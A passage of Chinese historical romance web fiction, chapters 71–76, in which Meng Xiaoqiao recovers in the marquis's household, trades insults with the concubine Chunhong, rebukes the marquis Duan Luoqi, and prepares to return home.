杜明月认真想了下,排除段骆岐住的主院和段老夫人的院子,以及另外两个住着妾室的院子,这镇南侯府能溜达的地方也挺多的。 “行,那你先好好养伤,过两天我带你四处走走。”杜明月允诺道,“你有什么想吃的直接跟红豆说,这几天就开开心心在这里住着。” 第七十一章 不许让他伤心 “好!你放心,我不会跟你客气的!”孟小桥爽朗的笑声传来,可是笑了一会,她就笑不出来了,一脸痛苦的指着后背,“哎呀,不能笑,牵动后背的伤口了。好疼!” 孟小桥疼得龇牙咧嘴的倒吸了一口凉气,杜明月和红豆对视了一眼,忍不住低头笑了起来。 “红豆,给孟姑娘端些饭菜来吧。”杜明月抬头和红豆说完,转头对孟小桥道,“孟姑娘,府医叮嘱这几日饮食应该清淡一些,不过你若是有什么特别想吃的告诉红豆。” 孟小桥不住的点头,握着杜明月的手,兴致勃勃的继续抬头打量屋子里的摆设。 因为孟小桥只是肩伤,因此她行动自如。 她从床上下来,得到杜明月的首肯后,好奇的对屋里的摆件左摸摸右看看。 “这副画真好看啊,是哪个大师画的吗?”孟小桥瞪着亮晶晶的眸子,一副爱不释手的模样。 “孟姑娘喜欢?那送你了。”杜明月抬眸间,便将屋里的东西财大气粗的送出去了。 “这个玉石摆件真好看,白菜,百财对吧?”孟小桥紧紧抱着画轴又随口问了起来。 “嗯,也送你了,做生意图个好彩头。”杜明月依然大方。 孟小桥却没有贪心的立马答应,先是一愣,立马摆手道,“不,不,我不是想要,就是单纯好奇问问,应该很贵吧,我不能要。” “没事儿,不值什么钱,摆着玩的。”杜明月被她逗笑,四五十两的东西送出去也毫不心疼。 孟小桥一脸怀疑和犹豫,试探道,“真的?那要不值钱我可就真的拿走了?” 杜明月点头,“孟姑娘是我的救命恩人,这点东西孟姑娘若是喜欢,便都拿走吧。” 孟小桥笑得一脸不值钱的样子,不好意思的道,“那哪儿好意思,那我就挑几件我喜欢的。” 杜明月点头,孟小桥立马从身上的裙子上撕下一块布,放在桌上准备当成包袱来用。 一眨眼的功夫,孟小桥叮叮当当的便搜罗了一堆东西放在桌上,之后将撕下的布系成包袱的形状。 “好了,就这些了。”孟小桥拍拍包袱,心满意足的笑了。 红豆端着饭菜进来,走到桌边一看,震惊的眼睛都瞪大了。 “孟姑娘,你这是上我们这儿打劫来了?”红豆吃惊的声音都拔高了几度。 杜明月被她的话逗笑,一口茶在口中上也不是下也不是,差点噎住。 孟小桥羞红了脸,叉着腰理直气壮的道,“胡说什么呢!这是你主子感谢我的救命之恩送我的。” “哦。”红豆笑了,自家主子确实出手大方又阔绰,那确实还说的过去。 “好香啊!”孟小桥鼻尖动了动,一股饭香萦绕在她的周围,她的眼睛一下子就亮了。 她转身看向被红豆放在桌上的托盘,托盘里饭菜种类十分丰富,她的口水好像立马被勾了出来,肚子也咕咕叫了。 孟小桥搓着手,兴奋的一屁股坐了下来,“那我就不客气了。” 杜明月点头,看着孟小桥张嘴嗷呜一大口,很快便将桌上的饭菜风卷残云一般的吃完了。 孟小桥摸着自己圆溜溜的肚子,打了一个嗝。 “嗝,真好吃,果然还得是大户人家,没想到清淡的菜也能做得这么好吃!”孟小桥一脸憧憬的道,“这几日我一定要去跟你们府里的厨子学学怎么做菜!” 杜明月没有拒绝,点头道,“等你身上的伤再好一些,只管去就是了。” 孟小桥嘿嘿笑着,又开始打量起杜明月来了。 “之前只觉得你漂亮,没注意你身上的衣服也这么好看!”孟小桥眼睛亮晶晶的,一副十分崇拜、羡慕的眼神打量杜明月。 “你的发式也好看,这个发髻怎么梳的啊?能教我梳吗?还有,你们府里哪个丫鬟梳的头发最好看啊?” 孟小桥如竹筒倒豆子一般,问题一个接一个,完全不给别人回答的间隙。 杜明月张了张口,也在纠结该先回答她哪个问题合适。 思索片刻,她挑了个最简单的问题回答,“以前在我这里伺候过的春红梳头发最好看,样式也多。” 杜明月这番话是认真的,虽然她看不上春红,但不得不说春红也还是有一技之长的。 “春红?春红又是谁?”孟小桥疑惑的看了看红豆,“那怎么半天没看见她进来,她现在不在这里伺候了吗?” 一无所知的孟小桥开口自然没有障碍,红豆听了这话,倒是犹豫了一下,不知道该如何回答。 两人纷纷转头看向杜明月,杜明月倒没有觉得这是什么不能说的秘密。 她神色平淡的开口道,“嗯,早不在我这里伺候了,已经做了春姨娘。” 孟小桥一听,吃惊的瞪大了眸子,“什么,竟然从丫鬟变成姨娘了,这不是抢你的风头吗!” “那倒也没有。”杜明月微微笑着道,“她以前在我这里也只是个普通丫鬟,她存了这样往上爬的心思,我也早就知道,因此没觉得有什么。” “你就这么接受了?”孟小桥啧了一下嘴,感觉有些替杜明月不值。 “侯爷有你这么好的夫人不知道珍惜,竟然还要抬一个丫鬟做妾!真是有眼无珠。”孟小桥一脸愤怒的攥紧了拳头。 杜明月眉眼始终淡淡的,她现在听到任何人提起段骆岐,内心都没有任何波澜。 “对了!”孟小桥突然想起了什么道,“那你有相公,你是真心喜欢拂星公子的吗?” 杜明月一愣,清澈的眸子里瞳孔微颤,完全没想到孟小桥是怎么将这个话题一下子转到慕子叙身上的。 “虽说京城中很多有夫之妇和千金小姐一样,都为了拂星公子如痴如狂的,可拂星公子独独待你不同于旁人。” 孟小桥一副惋惜,替慕子叙担忧的模样道,“你若只是想拿来消遣,拿拂星公子一定很伤心的。” “……”杜明月欲言又止,止言又欲,不知道到底该怎么解释她和慕子叙的关系合适。 “反正,你不准让拂星公子伤心!不然我就生气了!以后再也不会理你了!”孟小桥回过神,突然指着杜明月一本正经的说着,一副想要强迫她发誓的模样,“你发誓!” 第七十二章 试探套话 杜明月实在是被孟小桥那双炯炯发亮的眼神盯得有些心虚和不知所措,只能急忙拉下她的手,胡乱的回应道,“知道了,知道了,我一定不会伤害慕公子的。” 孟小桥闻言,这才满意的抱着胳膊点点头。 杜明月无奈:慕子叙那么好的人,她怎么可能会伤害,但两人又不是孟小桥想的那种关系,慕子叙是山间白雪,她只远远的看着就是了。 “对了,那那个春红都会梳什么发髻啊?”孟小桥眨着眼睛,一脸好奇。 杜明月摇摇头,这些东西她不懂,正想开口说什么时,只听外面传来了春红的说话声。 “夫人!您受伤了吗?”春红目光四下看着,脚下步子走得飞快。 杜明月眉梢一挑,看来人还真是不经念叨,说曹操曹操就到。 杜明月抬头给了红豆一个眼色,红豆立马明白,到门口招呼春红进来。 春红一进来,就准备掩面哭泣,“听说姐姐受伤了,我担心死了,一路跑过来的……” 她的话还没有说完,一抬头,就看到杜明月一脸平静的看着自己,旁边还有一个面生的女子好奇的瞪大眼睛打量自己。 “姐姐,你没受伤?”春红走到跟前,跪在地上打量杜明月,又抬头看向孟小桥,“这位姑娘是?” 杜明月脸上没什么笑容,眉眼淡淡的,带着一点疏离,“嗯,我没有受伤,是这位孟姑娘为保护我受伤了。” “啊……是……”只是短短一瞬,春红心中竟生出了许多猜想来,甚至有了几分危机感,又偷偷抬眼打量了孟小桥一眼。 “你身上的伤都好了?侯爷放你出来了?”杜明月低头打量春红,见她气色不错,便猜想应该是没事了,“起来,坐吧。” “是。”春红一脸喜色,在杜明月身边的椅子上坐了下来,一脸感激的道,“上次多谢姐姐救我,现在身上的伤已经都好了。” 杜明月点点头,转头看到孟小桥羡慕的看向春红的发髻,便对春红道,“我记得你以前梳头发的手艺最好,只可惜你现在做了姨娘,没人再给我梳那些好看的发式了。” 春红立马表态道,“姐姐这是说的哪里的话,春红受姐姐恩惠,春红永远是姐姐的奴婢,以后姐姐若是喜欢,妹妹天天来给姐姐梳头。” 杜明月淡淡拒绝道,“那倒也不必,不过这位孟姑娘为救我,头发都乱了,你给她梳个头吧。” 春红一愣,像是没想到杜明月这么说,但又不好反驳,只是微微侧目打量了一眼孟小桥。 孟小桥也算生的清秀,和自己不相上下,杜明月现在说这话,难不成是在暗示她,有别的意思? 春红心中的危机感更重了,毕竟只要杜明月愿意,她能抬自己做妾,就能帮助孟小桥做妾。 春红的眼底闪过一抹不安和嫉妒,但很快又用微笑掩盖住了。 “好啊,孟姑娘喜欢什么样式?只要你说出来,我都会梳。”春红假意温柔友善,试图拉近与孟小桥的距离,获得她的信任。 孟小桥被她的伪装所骗,一脸开心的道,“真的?那我要那种……” 孟小桥陷入了思索,想要用言语将自己想象的画面描述出来。 “你们先在这里吧,我去去就来。”杜明月起身,对孟小桥道,“孟姑娘你还要在这府里住上好几日,我去给你拿几身新衣裳。” “谢谢夫人!”孟小桥一想到自己马上就有喜欢的漂亮的新裙子了,开心的两眼放光。 春红看到杜明月和红豆出了门,在梳妆镜前一边给孟小桥梳头,一边试探着开了口。 “孟姑娘打算在府里住几日啊?”春红透过铜镜,观察着孟小桥的神情变化。 孟小桥没什么心机,有问必答,“先把伤养好,然后在府上玩几日。” “啊?玩几天?”春红下意识的抬眸,有些慌乱和担忧,“那孟姑娘想玩什么?要春红陪着孟姑娘吗?” “真的可以吗?”孟小桥有些不好意思的道,“你应该也挺忙的,这样不好吧?” “不忙!我一点也不忙!”春红着急的开口,还吓了孟小桥一跳。 春红见状,又急忙找补,笑着道,“孟姑娘不知道这府里的规矩多,要是没人陪着,您四处乱逛,冲撞了人就不好了。” “冲撞谁?”孟小桥好奇的抬眸看她。 春红有些心虚,“就侯爷……和老夫人啊,他们脾气都不太好,万一撞见了,互相得罪了不好。” 孟小桥觉得有道理,若有所思的点点头。 “嗯,也是。”孟小桥若有所思道,“那侯爷脾气真的不好吗?” 孟小桥心想,要真是这样,那真是委屈杜明月了,确实不如赶紧和离了好。 然而孟小桥的询问,在春红听来,却是另外一番意思! 她果然对段骆岐有兴趣!她也想做妾! “确实很不好!”春红心中一紧张,甚至下手都有些微微用力了。 “哎呀,疼,你稍微松松手。”孟小桥痛得皱眉,春红回神,急忙松手,一脸歉意。 春红重新给她梳头发,一副十分关心,好言相劝的模样道,“可不是什么人都能忍受侯爷的臭脾气的,就像姑娘这么直爽的人,一定觉得很难相处。” “嗯?”孟小桥听得一头雾水,她又不要和镇南侯府的侯爷相处,他脾气好不好和自己有什么关系? 孟小桥还没反应过来,听到春红又开了口。 春红试探性的打听道,“孟姑娘出自京城哪个孟家啊?也到了该出阁的年纪吗?喜欢什么样的男子啊?要不要我帮你做媒?” 孟小桥更是一头雾水,就连梳头的好心情都要没了。 她疑惑的看向春红,“什么意思啊?” “就是……”春红有些心虚,但还是有些不死心的想要继续套话,“我们侯爷吧,看人的眼光比较高,也比较挑剔,不是什么人都能进得了侯府的。” “您不要小看给侯爷做妾,那也不是一般人就能入得了我们侯爷的眼呢。”春红带着暗暗的炫耀,偷偷透过铜镜看孟小桥的反应。 第七十三章 春红被怼哭 春红话说到这里,几乎就等于明示了,孟小桥也终于听懂了,顿时怒从心中生! “你这话是什么意思!”孟小桥转身,推开春红,指着自己问道,“怎么?你的意思是我不配入你们侯爷的眼?” “呸!你以为他是什么好东西呢!三妻四妾,你以为我稀罕入他的眼?” 孟小桥咬牙切齿的看着春红道,“我算是看明白了,怎么你做了妾,却不受宠,生怕别人抢了你的恩宠吗!” 孟小桥恨不能抓着春红的头发打一顿! “你姑奶奶我能自己赚钱!就算只是一个杀猪女,也好过像你一样只能给人做妾!求着男人赏你一口饭吃!没了宠爱,就要落得个饿死的凄惨下场!” 孟小桥的嘴巴一直不停,说得又极又快,春红想要插话解释都插不进去。 孟小桥酣畅淋漓的骂完,却还没有停的意思,又阴阳怪气的指着春红道,“我说我要留在你们府上玩几日,你是不是特别紧张害怕!是不是生怕侯爷遇见我喜欢上我!” 春红被她说中心事,脸色有些难堪,低着头不说话,孟小桥还在继续骂。 “我告诉你!就算他真看上我了,我也不会留在这里!我可不想给人做妾,一辈子仰人鼻息,还要和别的女人勾心斗角!” “哦,对了!我得提醒你,勾心斗角的女人老得快哦!”孟小桥做出一副好心提醒的模样道,“而且是变得又老又丑!” 春红被骂得一愣一愣,下意识抬手摸了一下自己脸颊,一副担心自己真的马上会变得又老又丑的模样。 孟小桥终于骂累了,觉得有些口干舌燥的端起一旁的茶水大口喝了起来。 耳根终于清净下来的春红也找回了一点自己的思绪,她这才反应过来,她刚才竟然在拿一个粗鄙的杀猪女和自己做对比,还吃她的醋,真是太看轻自己了。 这么一想,春红立马又觉得自己高贵了起来,在孟小桥面前也能挺起胸膛了! “果然是个上不得台面的市井泼妇啊!我原以为你是夫人的客人,出身显贵,没想到只是个杀猪女,怪不得如此粗俗不堪!” 春红冷嗤一声,“也就是夫人心善,看你救她一命的份上,留你住下,要是我啊,直接扔两个碎银子,就给你打发了!” 春红用她染了大红丹蔻的手指捏着帕子掩唇笑,却完全不掩饰她满满的讥讽和嘲笑。 孟小桥好不容易消减了几分的怒火腾地一下又上来了。 她冷笑着看向春红,同样用嘲讽和讥笑的语气道,“哟哟哟,你兜里有几个银子啊,就敢在这里说大话!你一个不得宠随时要担心自己被卖的妾室,我看卖都卖不了几个钱!” “你!你怎么敢这么说我!”春红一甩帕子,气得脸都红了。 孟小桥勾了勾唇道,“我劝你啊,都已经自轻自贱的给人做妾了,就别总摆出一副高高在上的姿态,趁着现在还有点姿色,赶紧偷偷存点钱!不然等老了可能要上大街上讨饭呢!” “你……”春红被怼的说不出话,气得整张脸都一片涨红。 “对了,你到时要是讨饭,可千万别讨到我的猪肉摊前,因为我不仅不会给你一个子,还会放狗出来咬你!”孟小桥朝着她吐舌做鬼脸。 春红几乎要被气哭了,而更让她难过的是,她竟然觉得孟小桥的话有几分道理,于是心中就更加悲戚了,眼泪止不住就落了下来。 春红呜呜咽咽的用帕子遮住脸,一把推开孟小桥就跑出了屋子。 等杜明月回来时,屋子里就只剩下孟小桥一个人了。 她疑惑的看了一眼孟小桥并不算好看的发式,道,“春红的手艺没有这么差吧?她怎么走了?没有给你梳头?” 杜明月疑惑的看着孟小桥,心中也猜到了,两个人之间一定是发生了什么不愉快的事情,不然两人不会这么不欢而散。 孟小桥原本正在自己对镜捯饬自己的发饰,听到杜明月问起,立马转身开心道,“你不知道,刚才我把春红怼得片甲不留,她哭哭啼啼的跑了!” “就她那两下子,还要担心别人在侯爷面前争她的唇,我看她早晚要被自己蠢死!很快就要失宠了!” 孟小桥得意的凑近杜明月挑眉道,“我厉害吧,你是不是也很讨厌她,我今天帮你出气了。” 杜明月忍不住笑了,抬眸看她头发实在是有些乱了,便想起当年她未出阁前,也帮自己的外祖母梳过头,手法也还算勉勉强强过得去。 她拉着孟小桥坐下,“你头发乱了,我帮你梳吧,手法不算好,凑合一下吧。” 孟小桥受宠若惊,她连忙摆手道,“这不好吧,你可是娇生惯养的侯夫人啊,要不我还是自己来吧。要不,红豆来也行。” “你的后背有伤,红豆出门给你买你喜欢的点心去了,还是我来吧。”杜明月一脸坚持,孟小桥也不好再推辞,只是通过铜镜一边打量一边窃喜。 一刻钟过后,杜明月给孟小桥梳好了发饰,还从首饰盒子里挑了一根簪子给她别上。 孟小桥的眼睛都看直了,喜爱之情溢于言表,她小心翼翼的摸了一下簪子,“好漂亮啊,这上面的宝石是真的吗,一定很贵吧。” 杜明月微笑道,“你救了我一命,送你什么都是应该的。” 她话音刚落,就听到有脚步声从门口传来。 杜明月一回头,段骆岐已经自行进了屋子了。 孟小桥看到身形高大,五官深邃的段骆岐愣了一下,急忙抬头去看杜明月,只见她微微蹙眉,脸色稍显不悦。 杜明月上前道,“虽说这是侯府,但侯爷也不该失了礼数吧,孟姑娘在这里养伤,你怎么能连个招呼都不打,就直接硬闯进来。” 或许段骆岐也觉得自己的行为有些不妥和冒失了,他尴尬的笑着解释道,“我看红豆不在,这大门又开着,以为没人,想进来看看。” 杜明月的眉头蹙得更深了,“若没有人,侯爷直接进来,岂不是更失礼!” 第七十四章 帮忙开解开解 “啊……是……是我思虑不周。”段骆岐见杜明月有些恼怒,心中一紧,懊恼自己怎么好像越描越黑了。 他着急的道,“明月,毕竟这孟姑娘是为救你受伤的,那我作为你的夫君,听说孟姑娘醒了,我也理应来探望一番。” “我的救命恩人,我自会照顾好,不需要侯爷操心。”杜明月态度依然冷冰冰的。 孟小桥好奇的目光在两人脸上来回移动,时不时还露出震惊的神奇。 段骆岐微微有些不悦,“明月,你也不能这么说吧,毕竟孟姑娘住在侯府,一应吃穿用度都是要侯府来出,我来关心一些,也是希望孟姑娘不要委屈自己,有什么要求尽管提。” 杜明月不悦的打断,声音也高了几分,“我再说一遍,我请进来的人,我自会安排照顾好,孟姑娘在府里的这些日子,一切花销都会由我来出。” “侯爷放心,我不会列了账单去找老夫人的。”杜明月清冷的声音里带着几分嘲讽,完全不在乎伤了段骆岐的颜面,“不会动侯爷你的钱,也不会让老夫人吓得晕过去的。” “你……”段骆岐气得脸色涨红,又找不出什么话来反驳,气得一甩袖子,转身便离开了。 孟小桥起身,踮着脚看段骆岐走远了,这才急急忙忙回到杜明月身边坐下。 “哇,你们的关系真的不好啊,我这个外人都看出来剑拔弩张了!”孟小桥一脸震惊,杜明月却依然十分淡定。 “不过,说实话,我觉得侯爷长得也还算是一副好模样,怎地你们的关系就恶劣到这种地步了?”孟小桥睁着疑惑的眸子,一脸好奇的看着杜明月。 杜明月微微侧头看了一眼孟小桥,孟小桥像是又想起了什么,立马补充道,“当然,他长得比起拂星公子那还是差得远了,不!简直可以说是差得十万八千里!” 杜明月被她逗笑,浅笑了一声,思索片刻才幽幽的开口道,“有些人绝不是表面看起来那般光风霁月,这里面多得是不能为外人道的事。” 杜明月说完,没有再更多的解释。 孟小桥似懂非懂的点点头,突然眼睛亮了,莫名自信的觉得她好像听懂了杜明月的话。 看来一定是段骆岐辜负了杜明月,估计他违背了当初一生一世一双人的诺言,转头就纳了小妾进府,杜明月这样的出尘绝俗、才华横溢的女子肯定接受不了这样的被判和屈辱,愤而要求和离。 这么一来,也能解释得通,为什么段骆岐一看到杜明月就一脸心虚和愧疚了。 孟小桥心中感慨唏嘘,她抬手轻轻在杜明月肩上拍了拍道,“真没想到你这样好的女子,也会被情爱辜负!辜负真心的男人一定都不会有好下场的!你别难过!” “……”杜明月一愣,抬头看向安慰自己的孟小桥,她总感觉,她好像误会了什么,但她又不好解释,只能笑着点了点头。 之后,孟小桥安心在侯府养病,一眨眼便过去了三天。 这一日,孟小桥在屋里举了举手臂,检查自己的伤势,突然听到外面传来了一阵敲门声。 “是夫人吗?直接进来吧?”孟小桥扯着嗓子喊着,放下了手臂,可是却没有人进来。 孟小桥疑惑了一下,又问道,“谁啊?” 她话音落下,只听到门外传来了两声轻咳声。 “孟姑娘,是段某,可否方便与在下聊两句?” 段骆岐的声音传了进来,孟小桥更加疑惑了,这好好的,他突然找上自己做什么。 虽然孟小桥心中极为不愿意与他来往,但想到她现在毕竟还住在侯府,也不好做得太过分,于是起身将房门打开了。 房门打开后,孟小桥却没有让他进屋的准备,而是抱着胳膊,一脸警惕的看着他道,“侯爷有什么事,就在这里说吧。” 段骆岐一愣,打量着身形微胖的孟小桥,眼底闪过一抹冷笑和嘲讽。 长得如此肥胖,该不会以为自己会对她有兴趣,进屋行什么不轨之事吧! 真是好笑!他段骆岐倒也不是什么饥不择食的人,什么都能吃得下的! 敛去眼底的不悦,段骆岐维持着面子上的客气和微笑。 “今日来,是有事想求孟姑娘帮忙的。”段骆岐客气的拱了拱手,孟小桥疑惑的眉头皱的更深了。 段骆岐尴尬的笑道,“想必孟姑娘也看出来了,这几日明月和我的关系有些尴尬和疏远,她这是在跟我闹脾气呢。” “我们之间有点小误会,我一直想和她好好解释的,结果她还是在气头上不肯定。” 段骆岐继续道,“明月在京中也没有经常往来的朋友,孟姑娘还是她第一次带回府里的朋友,足见她对你的重视,因此段某想让孟姑娘出面帮着开解开解,好好劝劝她,不要再闹脾气了。” 段骆岐一脸期待的看向孟小桥,却发现孟小桥好像生气了,眼睛都瞪圆了,像是要喷火。 孟小桥双手一叉腰道,“误会?有什么误会?我看就是你做了什么对不起她的事!劝说?劝说有什么用,侯爷你要真是有心,就该用实际行动证明啊!” “我……”段骆岐完全没有料到,孟小桥作为一个客人,一个普通的杀猪女,怎么敢开口骂自己这个堂堂的镇南候。 孟小桥却还没有骂够,继续骂道,“原来你也知道你夫人在京中孤身一人,孤苦无依啊,那你还这么欺负她,妾室纳了一房又一房,管不住自己,真不要脸!” “孟姑娘!慎言!”段骆岐恼羞成怒,也瞪大了眼睛,咬牙切齿道,“我好心同意让你在府里养伤,可不是想让你踩在主人头上耀武扬威的!” “侯爷,我话还没说完呢,你怎么就急了?”孟小桥可不听他吓唬,继续竹筒倒豆子一般道,“侯爷,夫人那么好的人,你要是不好好对她,外面可是有大把的好男人想好好对她呢!” “让我想想!”孟小桥幸灾乐祸的看着段骆岐跳脚,故作思考道,“对了,有名的拂星公子你知道吧,长得比你好,人也比你好,你要是不珍惜你夫人,最后被别人抱得美人归!可别怪我没提醒你!” 第七十五章 怎么还没好呢 “他是一个妓子,也配和我相提并论!他不配!”段骆岐怒吼了起来,孟小桥下意识吓得抖了一下。 孟小桥感叹,看来还是杜明月说的对,有些人啊,真的不能看表面,她还是看走眼了,这段骆岐哪里长得好看,吓死人了! “孟姑娘要是伤养好了,就尽早离开,我们这里不欢迎你!”段骆岐一副高高在上的模样。 孟小桥可不吃他这一套,闻言,不屑的撇嘴道,“你这是要赶我走?我才不走,我是你夫人请来的,要走也要你夫人赶我走!你算什么东西!别想吓唬我!我又不怕你!” 段骆岐气得上前一步,还想说什么,只见眼前的门“砰”的一声关上了! 杜明月交的都是一些什么人!性格恶劣,没有半点内涵可言! 段骆岐气得咬牙,转身准备离开,又觉得实在气不过,抬起一脚就将院子里的一棵小树拦腰踢断! 小树倒地发出的巨大声响吓了门内的孟小桥一大跳,她赶紧捂着心口朝着屋外的方向瞪了一眼。 “什么人啊!脾气这么大!真没品!”孟小桥朝着外面撇了撇嘴,听到外面脚步声音消失了,心情这才转好。 没一会,杜明月和红豆提着食盒来到孟小桥的屋里。 “这是你前两日一直念叨的醉樊楼的吃食,有红烧肘子,松鼠桂鱼,宝塔肉,叫花鸡……” 杜明月一边看着红豆布菜,一边挨个给孟小桥报菜名。 孟小桥看着桌上风声的菜肴,双眼放光,感觉下一秒口水就要流下来了一般。 她如饿虎扑食一般端起自己的碗筷,一脸幸福的看着杜明月道,“哇,我最近真是有口福,感觉要把京城全部有名的酒楼吃个遍,要不我也干脆留下来给你做丫鬟吧,还能天天跟着吃好吃的。” 杜明月被她逗笑,哭笑不得道,“孟姑娘,你不要自由啦?” 孟小桥一愣,一拍脑袋道,“也是!比起这些锦衣玉食,却深陷囚笼,那我还是喜欢做个自由自在的杀猪女!” 孟小桥开心的咧嘴一笑,露出一行洁白的牙齿,“一起吃吗?” “我们吃过了,这是专门打包带回来给你的。”杜明月温柔道,“你快吃吧。” 孟小桥一点头,手中的筷子飞快的在桌上飞舞,很快,她就以一种风卷残云的姿态,将桌上的菜肴一扫而空。 挺着圆圆肚子的孟小桥靠在椅背上,满足的打了个嗝,突然想起段骆岐道,“对了,今儿上午,侯爷还偷偷来过,他还跟我说什么,想让我帮忙劝和劝和你们两个。” “嗯?”杜明月抬眸,便看见孟小桥那张满是不屑和愤慨的脸。 孟小桥握着拳头道,“不过你别担心,我已经帮你狠狠的骂了他一顿!” 杜明月点点头,好在孟小桥也算聪明,没有被段骆岐虚伪的表象所迷惑。 “我要收回我之前觉得他模样还算不错的话,我现在觉得他一脸凶相!就不是什么好人!”孟小桥突然生气的道,“对了,夫人,你知道最过分的是什么吗!他竟然还想赶我走!” 红豆最近很喜欢和孟小桥凑在一起,东一锄头西一棒子的聊天解闷,一听这话立马道,“那你答应啦?” 孟小桥得意的笑着挑眉道,“当然没有,我又不怕他的名头,他的话我自然就更不在眼里了,我是夫人的客人,又不是他的客人!” “你做的对!”红豆也是一脸愤慨,杜明月甚至打量着,她已经是用脸在骂人了。 红豆被勾起了兴致,干脆一屁股坐在了孟小桥身边,和她说起了段骆岐的坏话。 “你都不知道他脸皮有多厚,我们主子都拒绝他好多次了,要和他和离,他不仅迟迟不肯给和离书,还总是厚着脸皮贴过来,我们主子自然是不会给好脸色了……” 红豆滔滔不绝的道,“而且你不知道,别看侯爷他表面上,总是来求我们主子原谅,可是他转头在这个节骨眼上,就纳了两房妾室呢!” 听到这些话的孟小桥也开始觉得生气了,“恶心!不要脸!他怎么好意思来啊,说不定他外面还有别的女人呢!咦~” 孟小桥嫌弃的打了个冷颤,回头对杜明月道,“你可千万不要再被他的花言巧语骗了,一定要坚定的和他和离,你这么好的人,一定能找到真正属于你的幸福的!” 孟小桥眸光熠熠,十分坚定的看着杜明月。 杜明月点头回应她的好意,“我知道。” 之后,孟小桥又在府上呆了两日,背后的伤已经完全痊愈了,虽然内心也有尽早归家的念头闹出来,但因为喜欢听杜明月给她讲江南的风土人情、和红豆闲聊消遣,这才迟迟没有下定决心。 这一日,杜明月一大早起来,便带着红豆去视察她在京城的那几家铺子。 孟小桥便只好一个人百无聊赖的在侯府的后花园闲逛了起来。 天气逐渐转暖,后花园的各种花木争相绽放,姹紫嫣红,十分美丽。 孟小桥流连其中,没有注意到春红正缓缓的向她靠近。 “真是让人意外啊,孟姑娘竟还在府里呢,夫人给您用的应该都是最好的药吧,怎么还没好呢?” 春红一来,立马阴阳怪气起来,原本便不大的眼睛微微眯起,显得整个人看起来更加刻薄尖酸了。 孟小桥握着手里的一把花枝,懒得理她,准备转身离开后花园,谁知道春红却不依不饶的跟了上来。 “怎么孟姑娘这就要走了?要是伤还没养好的话,还是别走了,不然传到夫人那里,该说是我的不是了……” 孟小桥忍无可忍转头道,“关你屁事,一天就你事多!” “孟姑娘怎么能这么说话啊,我可是担心你。”春红像是早就预料她会开怼一般,丝毫不受影响,反而嘲讽道,“会不会是孟姑娘太胖了,最近也没有忌口,所以伤口一直不好啊?” “这受伤了呢,还喝着药,可千万要忌口啊,像姑娘这样又胖了两圈,这可怎么办啊?” 春红的阴阳怪气终于成功的气到了孟小桥,她甚至气的将刚采到的花都扔了,“你现在,是在嘲笑我胖吗!” 第七十六章 我要回去了 “我胖怎么了!我胖吃你家大米了!”孟小桥愤怒的指着春红,气得脸都有些涨红了。 “虽然没吃我的大米,但你总吃了夫人的大米吧。”春红冷笑,“前几日,也不知道是谁口口声声说要靠自己,绝不过那种仰人鼻息的生活,怎么那些豪言壮志你自己都忘了?” 孟小桥一愣,春红挑眉继续得意的说道,“怎么,你现在也发觉做杀猪女又累又赚不到钱了?所以是打算一直赖在这侯府,让夫人养着你吗?” “你闭嘴!管好你自己就行了!”孟小桥沉默片刻后,压低声音愤愤道,“我走不走是我的自由,关你屁事!我就不走!气死你!” 孟小桥说完,从春红身边经过时,故意狠狠撞了一下她的胳膊。 “你!”春红气的咬牙切齿,但又觉得无计可施,只能在原地干跺脚。 回到厢房的孟小桥一个人安静的坐了许久,当看到杜明月和红豆进屋时,第一句话便是,“我要回去了。” 正打开食盒,准备布菜的红豆手一顿,疑惑的抬头道,“孟姑娘,住的好好的,你怎么突然要回去啊?” “也没什么事,就是突然觉得自己好像呆的有点久了,也该回去了。”孟小桥面色严肃,不像是在开玩笑。 杜明月沉默了一瞬,像是想明白了什么,开口道,“你今日是不是遇见谁了,是春红吗?她和你说什么了?” 孟小桥一愣,举起大拇指笑道,“夫人果然厉害,一下子就看出来了。” 她有些不好意思的嘿嘿一笑,“其实也没什么,她虽然是说了点难听的话,但我当场就骂了回去,而且一点也没有往心里去。” 孟小桥见杜明月和红豆都是一脸关心的看向自己,只好将今日和春红之间的针锋相对都原原本本说出来了。 “我说我要回家,真的不是因为生气,而是她的话提醒了我,我要是再不回去摆摊卖肉,那以前那些老顾客怕是要以为我不干了,他们往后要是再不来我的摊上,我赚谁的钱啊!对不对?” 杜明月见她说的一脸认真,也没有丝毫隐瞒和不快,便安心的点了点头。 “做生意是这道理。”杜明月赞同的点点头,却看到孟小桥原本坚定自信的脸上浮现出一抹沮丧。 “不过,她今日还有一句话,想起来也是挺让人难过的。”孟小桥蜷缩着身子,重重的叹了口气,“她说我胖……当然,这确实是事实啦……哎,算了,胖就胖点吧。” 杜明月见她嘴上说着没事,但眼底还是有浓浓的化不开的沮丧和低落,便道,“孟姑娘其实是打心眼里也是希望自己能瘦一些的吧,既然如此,为什么不努力试一试?” “我真的能瘦下来吗?”孟小桥有些不自信。 “当然可以。”杜明月微笑道,“只要有恒心,孟姑娘一定会瘦下来的,瘦下来最重要的便是管住嘴。” 杜明月认真坚定的神情,也打动了孟小桥,她的眼睛不再灰暗,而是逐渐亮了起来。 “先从每日饮食的量开始酌减,每顿少吃一些,定然是能瘦的。”杜明月道,“孟姑娘要是坚持不下去,就想想那些你喜欢的漂亮裙子,你若再瘦一些,一定能穿上,还会穿的很好看。” “好!我减!”孟小桥心一横,双眸闪闪发亮道,“我孟小桥是什么人,这点毅力我还是有的。” 她的目光落在桌上满满的美味佳肴,又不好意思的笑道,“从下一顿开始吧,我再好还吃这一顿,真的最后一顿!” 杜明月和红豆都被她逗笑了,在一旁看着她吃完这些饭菜后,便开始收拾自己的东西。 杜明月抬眸,给了红豆一个眼神示意,她立马出了屋子,很快端着一个托盘进来了。 托盘上有一个金条、一些簪子、珠串,还有几件按照孟小桥的身量做的合适的衣服。 “孟姑娘,这些东西你一并收下吧。”杜明月轻轻的开口,看着正在低头开心的收拾包袱的孟小桥。 闻言,孟小桥抬头,看到红豆手里的东西,眼睛一下子就亮了,走上前伸手就去摸那金条。 “哇,夫人,你还真是财大气粗哇,这是我第一次亲手摸到金条,真好,闪闪发光的。”孟小桥嘿嘿一笑。 杜明月微笑着朝她点点头,以为她会安心收下时,孟小桥却突然一脸正色道,“但这金条我不能收,我饱个眼福就可以了。” “还有这些簪子、珠串都很贵重,你之前已经送我一个了,我拿那一个走就可以了,至于这些衣服……”孟小桥一顿,开心的立马拿起来往自己身上比划了一下。 “真好看,这些我就全部拿走了,你留下也不能穿,不要浪费,我拿回去,一定好好穿!” 